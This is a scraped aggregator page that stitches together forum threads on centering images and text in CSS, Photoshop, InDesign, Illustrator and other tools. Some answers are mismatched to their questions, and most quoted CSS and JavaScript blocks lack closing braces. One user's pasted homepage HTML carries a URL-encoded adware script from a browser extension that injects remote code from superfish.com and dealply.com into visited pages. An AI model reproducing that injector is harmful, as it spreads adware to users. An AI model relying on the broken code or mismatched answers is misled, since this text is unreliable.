Center and Vertical Center Align an image

how can I center and vertical align an image so that it stays center and vertically aligned in the middle and on all devices???
Simply put I would like the image smack in the middle of every screen it is viewed on.

Try this
<!DOCTYPE html>
<html>
<head>
<style>
body {
    background-image: url('yourimage.gif');
    background-repeat: no-repeat;
    background-attachment: fixed;
    background-position: center;
</style>
</head>
<body>
</body>
</html>

Similar Messages

Need to Center Align an Image

I have a report that is printing out a series of barcode sheets. I need for the barcode image to be centered on the page each time it prints, but the problem is that the item will vary in size from page to page, depending upon the actual value behind the barcode. So, I can't just manually center the field in the paper layout, and if I set the field to 'variable' or 'expand' so the field can enlarge if it needs to, it simply extends out in the right direction, but not the left, and is off-center.
Is there any way to make sure the field will stay centered based on the value of the field, and no the field itself?
Thanks,

Insert the image into a frame with variable horizontal elasticity, and then anchor the center of the frame top edge to some object centrally positioned on the page. If you don't have such, just draw a piece of line or something in the header of the page.

Center text horizontally and vertically on composition?

Hello,
I'm working on a short projects (15 minutes length). Every 30 seconds a title fade in/out against a blank (grey) composition. How do I go about easily centering the text (single word) on the composition both horizontally and vertically? I know I can horizontally center via the paragraphs pallet, but how do I center on the vertical at the same time?
Right now I'm modifying the Anchor Point of the text so it's in the center (visually) of the text, and then set the Position to the center of the composition, but every time I increase the type size, I have to go through this all over again...and with different titles coming up every 30 seconds or so, a simple text size change turns into a lot of work.
I can only image there's a better way to do this and would appreciate any advice for an AE newb!
Thanks,
Kristin.

It is possible to do this via scripting, but it won't be "live", i.e. you would have to run a script to grab the dimensions of the text layer each time you want to update its vertical alignment.
It is also possible to roughly align text vertically using expressions given three limitations:
1) You'll have to be willing to consider the height of the text layer to only extend from the cap height of the first line to the baseline of the last line, meaning descenders and ascenders wouldn't be counted as part of the height of the text layer.
2) You'll have to manually locate the center of the first line of text.
3) You'll have to be happy with a consistent point size and line spacing throughout.
Given those limitations, vertical alignment can be done as follows:
Add a Position animator to your text layer. Delete the default range selector you won't need it. Next add the Line Spacing property to the newly-created animator (using its "Add" menu). In the Character panel, set your text layer's line spacing to 0 (it will really be set to .01, but the difference shouldn't be noticeable once we're done). In the Line Spacing animator, set the desired line spacing (unfortunately, "Auto" isn't an option).
Now set your Text layer's anchor point such that it falls in the center of the text's cap height (the height of a capital letter with no ascender or descenders).
Next, add the following expression to the Position property of the text animator (NOT the Position property of the text layer's Transform group):
>STA = text.sourceText.split("\r");
>value - [0, (STA.length-1)*propertyGroup(countUp = 2).property.lineSpacing[1]]/2
The second line should be all one line, but the forum insists on wrapping it. Be aware that if you later decide to change the point size of the font, you'll need to temporarily disable the text animator and center up the anchor point again.
You can also use this method to force the text layer to shift up to accommodate new lines by deleting the "/2" at the end of the second line of the expression.

Why does Vertical Align Center align objects along the horizontal?

And why does Horizontal Align Center align objects along the vertical?
-g-
P.S. Please please please make the Eydropper tool available by function key so I can toggle to it while using the Text tool. Please!

g,
but when I select two objects and click the vertical align button they snap to an invisible horizontal line
This is (almost) identical to:
Because (the centres of) vertically aligned objects will be on the same horizontal level/line.
And that is just one way of expressing what vertical alignment means. Here are a few others:
Their centres have the same height,
Their centres have the same Y value on the Artboard/Workspace,
In all cases, you can draw a horizontal line through their centres.
Mathematically, Y = C (Y is a constant value C) is the equation for a horizontal line.

How to put a tab space in a center aligned paragraph and have it remained centered?

I am trying to put a tab spacing within a paragraph that is center aligned but when I press the tab button it pushes the paragraph to the left. How do I solve the problem? I have several lines I need to do this for so adjusting it one but one is a bit tedious.

I don't use Captchas because they are not web friendly. Humans have a hard time reading them which often leads to form submission failures and frustration. I much prefer the Honeypot (hidden input field) method. It traps spam bots who cannot resist filling in fields because they don't use CSS or JavaScript. If the hidden field contains any characters, your form processing script can be set-up to flag that as spam and abort the submission. Humans never see the hidden field, so it works seamlessly behind the scenes. There's no limit on how many hidden form fields you can have on a page.
Nancy O.

Can an action set the dimension of the crop and put in the center of the image?

Hi
running cs6 64bit under w7 64bit
can an action set the dimensions of the crop height & length and put the crop in the center of the image?
or should i need a script?
i mean for example i taken many photos about 20mp mega pixel
i would like to run a script or an action that set the height & length and set the crop in the center of the image
thanks

mantralightroom wrote:
i have cs6 but i haven't in the action option conditional actions
ps i tried to record a script to set the histogram channel RGB or Luminocity , but the script plugin doesn't record it and even the action can do it
you know cs6 starts with histogram in colors mode
I have a hard time with English even though it may native language. I'm having some problem with what you wrote.
Yes cs6 does not have what Adobe calls conditional actions they put into CC. That feature more or less an IF statement condition on some document attributes. Like if document width is greater then document height play action landscape else play action portrait.   With CS6 you need to write one line script to use in actions. Most of the utility scripts I wrote for use in actions are more complex then a simple if statement.
The way you record scripts is PS is be using Adobe Scriptlistener Plug-in when installed the plug-in records everything you do that can be recorded into two log files one in JavaScript and the other in VBS. The code generated works by passing parameters to Adobe Photoshop's Action Manager. To make scripts toy need to extract the steps you need from one of the log files.    However some thing you can do in Photoshop can not be recorded. And while your right that the scriptlistener plug-in does not record anything for setting the histograms to RGB channel or Luminosity channel your wrong when you write the Action Recorder can do it.
However scripts can get the histograms channel data. I have never process a histogram in a script however there is a sample Photoshop Histogram in the Photoshop javascripting guide. That creates a text graph log.
// Function to activate all the channels according to the documents mode
// Takes a document reference for input
function TurnOnDocumentHistogramChannels(inDocument) {
    // see how many channels we need to activate
    var visibleChannelCount = 0
    // based on the mode of the document
    switch (inDocument.mode) {
        case DocumentMode.BITMAP:
        case DocumentMode.GRAYSCALE:
        case DocumentMode.INDEXEDCOLOR:
            visibleChannelCount = 1
            break;
        case DocumentMode.DUOTONE:
            visibleChannelCount = 2
            break;
        case DocumentMode.RGB:
        case DocumentMode.LAB:
            visibleChannelCount = 3
            break;
        case DocumentMode.CMYK:
            visibleChannelCount = 4
            break;
        case DocumentMode.MULTICHANNEL:
        default:
            visibleChannelCount = inDocument.channels.length + 1
            break;
    // now get the channels to activate into a local array
    var aChannelArray = new Array()
    // index for the active channels array
    var aChannelIndex = 0
    for(var channelIndex = 0; channelIndex < inDocument.channels.length;channelIndex++) {
        if (channelIndex < visibleChannelCount) { aChannelArray[aChannelIndex++] = inDocument.channels[channelIndex] }
    // now activate them
    inDocument.activeChannels = aChannelArray
// Save the current preferences
var startRulerUnits = app.preferences.rulerUnits
var startTypeUnits = app.preferences.typeUnits
var startDisplayDialogs = app.displayDialogs
// Set Adobe Photoshop CC to use pixels and display no dialogs
app.preferences.rulerUnits = Units.PIXELS
app.preferences.typeUnits = TypeUnits.PIXELS
app.displayDialogs = DialogModes.NO
// if there are no documents open then try to open a sample file
if (app.documents.length == 0) { open(File(app.path + "/Samples/Fish.psd")) }
// get a reference to the working document
var docRef = app.activeDocument
// create the output file
// first figure out which kind of line feeds we need
if ($.os.search(/windows/i) != -1) {fileLineFeed = "Windows" }
else { fileLineFeed = "Macintosh"}
// create the output file accordingly
fileOut = new File("~/Desktop/Histogram.log")
fileOut.lineFeed = fileLineFeed
fileOut.open("w", "TEXT", "????")
// write out a header
fileOut.write("Histogram report for " + docRef.name)
// find out how many pixels I have
var totalCount = docRef.width.value * docRef.height.value
// more info to the out file
fileOut.write(" with a total pixel count of " + totalCount + "\n")
// channel indexer
var channelIndex = 0
// remember which channels are currently active
var myActiveChannels = app.activeDocument.activeChannels
// document histogram only works in these modes
if (docRef.mode == DocumentMode.RGB ||docRef.mode == DocumentMode.INDEXEDCOLOR ||docRef.mode == DocumentMode.CMYK) {
    // activate the main channels so we can get the documents histogram
    TurnOnDocumentHistogramChannels(docRef)
    // Output the documents histogram
    OutputHistogram(docRef.histogram, "Luminosity", fileOut)
// local reference to work from
var myChannels = docRef.channels
// loop through each channel and output the histogram
for (var channelIndex = 0; channelIndex < myChannels.length; channelIndex++) {
    // the channel has to be visible to get a histogram
    myChannels[channelIndex].visible= true
    // turn off all the other channels
    for (var secondaryIndex = 0; secondaryIndex < myChannels.length;secondaryIndex++) {
        if (channelIndex != secondaryIndex) { myChannels[secondaryIndex].visible= false }
    // Use the function to dump the histogram
    OutputHistogram(myChannels[channelIndex].histogram,myChannels[channelIndex].name, fileOut)
// close down the output file
fileOut.close()
alert("Histogram file saved to: " + fileOut.fsName)
// reset the active channels
docRef.activeChannels = myActiveChannels
// Reset the application preferences
app.preferences.rulerUnits = startRulerUnits
app.preferences.typeUnits = startTypeUnits
app.displayDialogs = startDisplayDialogs
// Utility function that takes a histogram and name
// and dumps to the output file
function OutputHistogram(inHistogram, inHistogramName, inOutFile) {
    // find ouch which count has the largest number
    // I scale everything to this number for the output
    var largestCount = 0
    // a simple indexer I can reuse
    var histogramIndex = 0
    // see how many samples we have total
    var histogramCount = 0
    // search through all and find the largest single item
    for (histogramIndex = 0; histogramIndex < inHistogram.length;histogramIndex++) {
        histogramCount += inHistogram[histogramIndex]
        if (inHistogram[histogramIndex] > largestCount)
        largestCount = inHistogram[histogramIndex]
    // These should match
    if (histogramCount != totalCount) {
        alert("Something bad is happening!")
    // see how much each "X" is going to count as
    var pixelsPerX = largestCount / 100
    // output this data to the file
    inOutFile.write("One X = " + pixelsPerX + " pixels.\n")
    // output the name of this histogram
    inOutFile.write(inHistogramName + "\n")
    // loop through all the items and output in the following format
    // 001
    // 002
    for (histogramIndex = 0; histogramIndex < inHistogram.length;histogramIndex++) {
    // I need an extra "0" for this line item to keep everything in line
    if (histogramIndex < 10)
        inOutFile.write("0")
    // I need an extra "0" for this line item to keep everything in line
    if (histogramIndex < 100)
        inOutFile.write("0")
    // output the index to file
    inOutFile.write(histogramIndex)
    // some spacing to make it look nice
    inOutFile.write(" ")
    // figure out how many X’s I need
    var outputX = inHistogram[histogramIndex] / largestCount * 100
    // output the X’s
    for (var a = 0; a < outputX; a++)
        inOutFile.write("X")
    inOutFile.write("\n")
inOutFile.write("\n")

Center text in DIV horizontally and vertically.

I made a simple nav bar at the bottom of a site I am building and had it centered horizontally and vertically. When I pulled up the page today the text is all the way to the left and I had no problems with it the day before. I have made no changes to the code. I am using IE9, but I have been since I started this site. Everything seems fine in Firefox. If I turn IE9 to compatibility mode it centers horizontally but not vertically. Any ideas?
http://www.toddsshowcase.com/
http://www.toddsshowcase.com/styles/stylesheet.css

So...instead of this
<div id="containerBottom" style="height:110px; width:947px;">
<div id="idTable"><a href="index.html">HOME</a> | <a href="index.html">ABOUT ME</a> | <a href="index.html">MLS</a> | <a href="index.html">LISTINGS</a> | <a href="index.html">CALCULATOR</a> | <a href="index.html">CONTACT</a></div>
</div>
This?
<div id="containerBottom" style="height:110px; width:947px;">
<div id="idTable">
<div><a href="index.html">HOME</a> | <a href="index.html">ABOUT ME</a> | <a href="index.html">MLS</a> | <a href="index.html">LISTINGS</a> | <a href="index.html">CALCULATOR</a> | <a href="index.html">CONTACT</a></div>
</div>
</div>

Batch "Place" gets off center after multiple images

This is sort of a hard one to explain. I'm trying to place a border and watermark over multiple images through the Place command. The image that I'm using to place is a .psd file with transparent background. The main images are tiff files. The problem is, that after a number of images that are changed, the placed image (border/watermark) gets off center by a few pixels each time and I end up with a border shifting to the right. How can I fix this? Here is my process:
1. Create action
2. Resize image to 1200x1800px 300dpi.
3. "Place" border/watermark image over top of main image. Center Position is 600px and 1200px. Scale 100.1% for each side
4. Flatten Image
5. Sharpen
6. Close action
7. I then select multiple images via Bridge and go to "Batch" or "Image Processor" and run it.
8. Over multiple images, the placed image "creeps" to the right by a pixel or two each image.
Is there something I'm doing wrong here? The placed image is the exact same size and orientation as the original images.

Ahh this is a huge help. This problem has been a thorn in my side for months. Thank you for the quick answer. Here is the list of my steps now...
1. Resize background image to whatever I need
2. Place overlay image (border/watermark) and "enter"
3. Select All
4. Layer > Align layers to selection > Vertical Centers
5. Layer > Align layers to selection > Horizontal Centers
6. Flatten Image
Works great, as long as the placed image is the same size as the background image.

Is there a shortcut to center-align all items of a certain type only?

I know the title of this thread is poorly worded; I apologize. Let me try to explain.
I design transit schedules, which I create in InDesign using tables. These schedules list arrival times for bus stops, but when the bus does not stop at a particular stop, this is indicated by an em dash.
Example:
The times are left-aligned within the columns (they are aligned on the colon). However, the em dashes are center-aligned. Currently, the entire table is left-aligned by default, and I manually highlight and center-align the em dashes. When there are just a few em dashes or when the em dashes are all adjacent to each other, it's no big deal.
But I often have to work with schedules in which the em dashes are in every other row (like the top half in the example above) or scattered throughout the table, and in those cases, my very manual method is a real pain in the neck—I have to highlight and center each em dash individually.
What I would LOVE to find is a feature similar to the Find and Replace feature, in which I could essentially ask InDesign to Find all em dashes within the document and center align them only. I've searched for such a feature to no avail. Am I overlooking something, or is this just not possible in InDesign? And if it's not possible, can you think of a better and more efficient way of center-aligning the em dashes than my current method?
FYI, I'm still using InDesign CS3, though I hope to upgrade soon. If I learn that a Find and Align type of feature is available in CS5, well—that's just more motivation for me to upgrade ASAP!
Thanks for your help and input.

It can be solved through find and change itself. I think the below image will clarify your requirement.

Unable to center align text in menu tabs

following is the code for the index page of my website faithinpeace.org/exppu...im trying to center align the menu text but something or another keeps happening . text not getting center aligned..please if anyone can help me with that
<!DOCTYPE html>

<html class=" js flexbox canvas geolocation rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio inlinesvg" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta charset="utf-8">
      <title>Peace University USA - America's Leading Faithbased School</title> 

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Peace University USA - America's Leading Faithbased School</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <meta name="robots" content="all">    
    
    

<link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap.css">
              
            <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap-responsive.css">
        
<link rel="stylesheet" type="text/css" media="screen" href="./index_files/app.css">
    
    
    
    
    <link rel="shortcut icon" href="./images/favicon.ico">
    
   <script src="./index_files/jquery.min.js"></script><script src="./index_files/ga.js"></script><script type="text/javascript" src="./index_files/modernizr.js"></script>
<script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'% 3Bvar%20ext_name%3D'FastestChrome'%3Bvar%20install_time%3D'1336405440836'%3Bvar%20ctid%3D' 1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0% 5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B %7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D% 3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0A if(install_source%3D%3D'fastanium.com')%7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Fveetl e.com%2F%2C%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2 F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2 Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell .com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi %3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Bretur n%3B%7D%7D%0Avar%20hashCode%3Dfunction(s)%7Bvar%20hash%3D0%3Bfor(var%20i%3D0%3Bi%3Cs.lengt h%3Bi%2B%2B)%7Bhash%3D((hash%3C%3C5)-hash)%2Bs.charCodeAt(i)%3Bhash%3Dhash%26hash%3B%7D%0A return%20hash%3B%7D%3Bvar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction() %0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7 D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehtt p%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com% 22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument. createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsB yTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bvar%20locale%3Dnavigator.browserLanguage%7C %7Cnavigator.language%3Bvar%20dlsource%3D%22fastestchrome%22%3Bvar%20userId%3D%2200000%22% 3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(ext_name%3D%3D%22Fastanium%22)%7Bdlso urce%3D%22fastanium%22%3BuserId%3D%22fastanium0000000000%22%2Bctid%3B%7D%0Aelse%7Bdlsource %3D%22fastestchrome%22%3BuserId%3D%22chrome0000000000%22%2Bctid%3B%7D%7D%0Aelse%20if(%2FFi refox%2F.test(navigator.userAgent))%7Bdlsource%3D%22fastestfox%22%3BuserId%3D%22fastestfox 0000000000%22%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Bdlsource%3D%22fa stestsafari%22%3BuserId%3D%22safari0000000000%22%2Bctid%3B%7D%0Aelse%20if(%2FTrident%2F.te st(navigator.userAgent))%7Bdlsource%3D%22fastestie%22%3BuserId%3D%22fastestie0000000000%22 %3B%7D%0Aif(%2F%5Een%2Fi.test(locale)%7C%7C%2F%5Ede%2Fi.test(locale)%7C%7C%2F%5Efr%2Fi.tes t(locale))%0A%7Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(Math.abs(hashCode(insta ll_time))%25100%3C1%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%0A%7Binj(%22http%3 A%2F%2Foptstatic.dealply.com%2Ffast%2Fversion_content.js%3Fchannel%3Dfast2%22)%3B%7D%0Aels e%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsour ce%2B%22%26CTID%3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%7Binj(%22https %3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID% 3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%0A%7Bif(%2FChrome%2F.test(navi gator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%7Bif(Math.abs(hashCod e(install_time))%25100%3E%3D85)%7Binj(%22http%3A%2F%2Foptstatic.dealply.com%2Ffast%2Fversi on_content.js%3Fchannel%3Dfast1%22)%3B%7D%0Aelse%7Binj(%22https%3A%2F%2Fwww.superfish.com% 2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26userId %3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0Aelse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2 F%2Fwww.google.com%22).test(document.location.href))%7Binj(%22https%3A%2F%2Fwww.superfish. com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26us erId%3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A%0D%0A% 0D%0A"></script><script type="text/javascript" src="./index_files/sf_conduit.jsp"></script><script type="text/javascript" src="./index_files/base_single_icon.js"></script><script type="text/javascript" src="./index_files/dojo.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/script.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/window.xd.js"></script><script type="text/javascript" src="./index_files/getSupportedSitesJSON.action" id="sufioIoScript1" charset="utf-8"></script><script type="text/javascript" src="./index_files/rvwl.action" id="sufioIoScript2" charset="utf-8"></script><script type="text/javascript" src="./index_files/getCouponsSupportedSites.action" id="sufioIoScript3" charset="utf-8"></script>
<style type="text/css">
body {
          margin-left: 200px;
          overflow:hidden
.n {
          text-align: center;
</style>
</head>

    <body class="ual">
    
    <nav id="top-navigation-column-1" class="span2" role="navigation" >
               </nav>
<a class="indent-text" href="http://www.faithinpeace.org">Skip secondary navigation</a>
            <nav id="top-navigation-column-2" class="span3" role="navigation">
              
              <ul id="nav-sub" class="nav">
            </nav>
<div id="top-navigation-column-3" class="span4">
          
              <div class="search-wrapper"></div>
          
    </div>
          </div>
        </header>
      </div>       
      <div class="tab-index">
        <div class="ual-tab">
            <figure>         <a href="http://www.faithinpeace.org">
              <img src="images/puimage.png" alt="Home" style="width : 940px; height : 400px;    "> </a>
            <figcaption></figcaption>
          </figure>
                    <section class="ual-tab-scroll-text">
              <h2>
              </h2>
              <p class="teaser"></p>
          </section>
        </div>
        <nav class="ual-tabbed-content">
          <ul class="nav-bar">
            <li id="camberwell" class="has-flyout">
              <a class="main camberwell" href="index.htm" title="Home" rel="camberwell">Home</a>
            </li>
            <li id="csm" class="has-flyout">
              <a class="main csm" href="./admissions.htm" title="Admissions" rel="csm">Admissions</a>
            </li>
            <li id="chelsea" class="has-flyout">
              <a class="main chelsea" href="./academics.htm" title="Academics" rel="chelsea">Academics</a>
            </li>
            <li id="lcc" class="has-flyout">
              <a class="main lcc" href="collaborate.htm" title="Collaborate" rel="lcc">Collaborate</a>
            </li>
            <li id="lcf" class="has-flyout">
              <a class="main lcf" href="" title="Virtual University" rel="VU">VirtualUniversity</a>
            </li>
            <li id="wimbledon" class="has-flyout">
              <a class="main wimbledon" href="./contact.htm" title="Contact Us" rel="Contact Us">Contact Us</a>
            </li>
          </ul>
          <div class="flyout camberwell" data-role="camberwell" style="display: none; ">
            <a href="./index" title="Peace University USA">
              <img src="./images/home.png" alt="" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout csm" data-role="csm" style="display: none; ">
            <a href="./admissions.htm" title="We have a place for everyone">
              <img src="./images/admissions.png" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout chelsea" data-role="chelsea" style="display: none; ">
                     <a title="Academics" href="./academics.htm">
              <img src="./images/academics.png" alt="" style="width : 940px; height : 400px;    ">
                    </a>
          </div>
          <div class="flyout lcc" data-role="lcc" style="display: none; ">
<a title="Joining hands to strengthen resources" href="./collaborate.htm">
              <img src="./images/collaborate.png" style="width : 940px; height : 400px;    ">
</a>
          </div>
          <div class="flyout lcf" data-role="lcf" style="display: none; ">
            <a href="digital.edu/lms/" title="Online Education @Peace">
               <img src="./images/vu.png" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout wimbledon" data-role="wimbledon" style="display: none; ">
            <a href="./contact.htm" title="Contact Us">
              <img src="./images/contact.png" alt="" style="width : 940px; height : 400px;    ">
            </a>
          </div>
        </nav>
      </div><div class="four-box-teasers row">
        <ul class="slide-teasers">
          <li class="has-slide span3">
            <h3>Media Arts and Design</h3>
            <a href="http://www.facebook.com/pages/MAD-Media-Art-and-Design-Center-of-Excellence/31164214225245 2"><img src="images/mad.png" alt="M.A.D" style="width : 220px; height : 110px;    "></a>
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                <a href="./mad.htm" title="M.A.D">Collaborating with <a href="digital.edu" title="Digital University Of America" target="_blank">Digital University</a> Media, Art and Design Center of Excellence (M.A.D.) the creative arm of Digital University of America to promote Media, Art and Design in every shape and form</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>Youth Engagement Platform</h3>
            <a href="http://www.facebook.com/pages/YEP-Youth-Engagement-Platform-Peace/309623245721408"><img src="images/yep.png" alt="course books" style="width : 220px; height : 110px;    "></a>
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                               <a href=".images/yep.htm" title="YEP">Engaging Youth to express themselves through Visual, Literary and Performing arts.</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>Courses</h3>
            <img src="images/courses.png" alt="yep image" style="width : 220px; height : 110px;    ">
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                           <a href="courses.htm" title="Courses">Find out about courses on offer @Peace University USA.</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>English Training Programs</h3>
            <img src="images/etp.png" style="width : 220px; height : 110px;    ">
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                <a href="./etp.htm" title="English Training Program">Peace University offers custom-made English training programs, in collaboration with Digital University of America</a>
              </p>
            </div>
          </li>
        </ul>
      </div>      
      <footer id="footer">
        <div class="row">
          <section class="footer-links span12">
            <ul class="footer-links span6">

              <li class="facebook">
              <a href="http://www.facebook.com/pages/Peace-University/235720776442514" title="Visit PU on Facebook" target="_blank">Facebook</a></li>
            </ul>
            
                        <ul class="footer-links span6">
             <li><a href="http://eepurl.com/nj22f">
              Sign up for latest News |</a></li>
              <li><a href="./contact.htm">
              Contact Us </a></li></ul>
          </section>
        </div>
      </footer>
    </div>    
    <script src="./index_files/jquery.min.js"></script>
    <script>window.jQuery || document.write('<script src="/media/artsacukstyleassets/component-library/jquery.min.js"><\/script>')</script>

<script type="text/javascript" src="./index_files/script.js"></script>
    
    
    <script>
      var _gaq=[['_setAccount','UA-182294-1'],['_trackPageview']];
      (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];
      g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
      s.parentNode.insertBefore(g,s)}(document,'script'));
    </script>
<div class="extLives"></div><div id="tc_container" style="display: none" data="fc"></div><sfmsg id="sfMsgId" data="{"imageCount":0,"ip":"182.177.144.206"}"></sfmsg><div style="display: none; " id="hiddenlpsubmitdiv"></div><script>try{for(var lastpass_iter=0; lastpass_iter < document.forms.length; lastpass_iter++){ var lastpass_f = document.forms[lastpass_iter]; if(typeof(lastpass_f.lpsubmitorig2)=="undefined"){ lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function(){ var form=this; var customEvent = document.createEvent("Event"); customEvent.initEvent("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for(var i = 0; i < document.forms.length; i++){ if(document.forms[i]==form){ d.innerText=i; } } d.dispatchEvent(customEvent); form.lpsubmitorig2(); } } }}catch(e){}</script></body></html>

Have you tried adding the following css selector to your css file.
.nav-bar a {
    text-align: center;
or insert it in the <style> tag you have on the page:
<style type="text/css">
body {
    margin-left: 200px;
.n {
    text-align: center;
.nav-bar a {
    text-align: center;
</style>

Smartforms - Center Alignment in the cell

Hi
I have defined a label in the following format using Smartforms...
All the variables are contained within a template, which is in a loop
I see that the texts which are right to the bar code are coming at the top right corner..
http://img41.imageshack.us/img41/2193/label1present.png
How can I get them to right center alignment like the following image...
http://img193.imageshack.us/img193/4839/label1desired.png

Hi Grame,
You can create the 2 windows ,. one for bar code and another for that text.
Overlapp those wondows so that the text window will come at the place where u want.
Try if this is working.
Rgds,
Madhuri

Center alignment not working for all groups

We are trying to center our visual within our blank white canvas, and we have multiple groups within the file. See image attached. When we select all groups then hit the center alignment button, only the bottom group becomes centered and nothing else. When we try to select all layers within the first group and hit it, everything moves except the color mask which stays in the original place.
This seems to be a glitch or bug that it's not working automatically for everything.
~Katie

Ask in the PS forum and provide exact system and version info.
Mylenium

Center-align iWeb pages?

Is there a code to use to center align an iWeb page, as in vertically, so that no matter what screen size/resolution you have, the page will stay in the middle of the browser, instead of at the top?

All objects on an iWeb page are fixed and do not move when a browser window is resized. The page itself is centered horizontally.
iWeb does not support vertically centered pages. And from other forums I gather it is not easily done with custom code.
But it can be done. Here's a custom page that centers and scales in all directions :
http://www.wyodor.net/Centered/
Study the code.
To make it work in iWeb you need a JavaScript and knowledge of how iWeb creates its pages.
Perhaps this page guides you in the direction you want. If you can resize the objects, you can resize the page vertically :
http://www.wyodor.net/Demo/Fancy/DynamicText.html

How to center align preview page

When I preview my webpage (which I am creating in fireworks) in the browser it is to the left of the page, How do I center align it?? Thank you in advance for your help

You shouldn't be creating your total web page in Fireworks, only the graphics :-)
You should slice up the images you need and then export those and use them in your HTML or via the stylesheet as background images. A web page that is full of images will only slow down the loading plus not be indexed by search engines...
To then center the page, you need to use CSS to to align the page in the center of the browser window regardless of window size. This again, is done when you move over to the HTML editor, not in FWs.
A good tutorial that may help the transition from taking a FWs comp to HTML
http://www.adobe.com/devnet/dreamweaver/articles/dw_fw_css_pt1.html
Nadia
Adobe® Community Expert : Dreamweaver
Unique CSS Templates |Tutorials |SEO Articles
http://www.DreamweaverResources.com
Book: Ultimate CSS Reference
http://www.sitepoint.com/launch/005dfd4/3/133
http://twitter.com/nadiap

Center-align created pattern swatch

Hi there
When creating patterns with for example very easy dimensions like the artboard 400 x 400 px etc, and everything right placed, as you can see on the print screens, after having created the pattern, it never aligns center-aligned like I would like it too. Very annoying.
who can help? Thanks!!
Left: the original positioning before creating the pattern.
Right: the result of a perfect square, center aligned to the artboard and with the swatch applied, not too pretty he?

Hi CarlosCanto
You're right. So far so good, but this still doesn't help me getting a nice pattern centered on the artboard?
The image here is an example of the actual pattern I would like to use The smaller image is a print screen of the actual composition of elements in Illustrator which I made the pattern of.
Is there an easy solution for this?
Thanks!

Center and Vertical Center Align an image

Similar Messages

Maybe you are looking for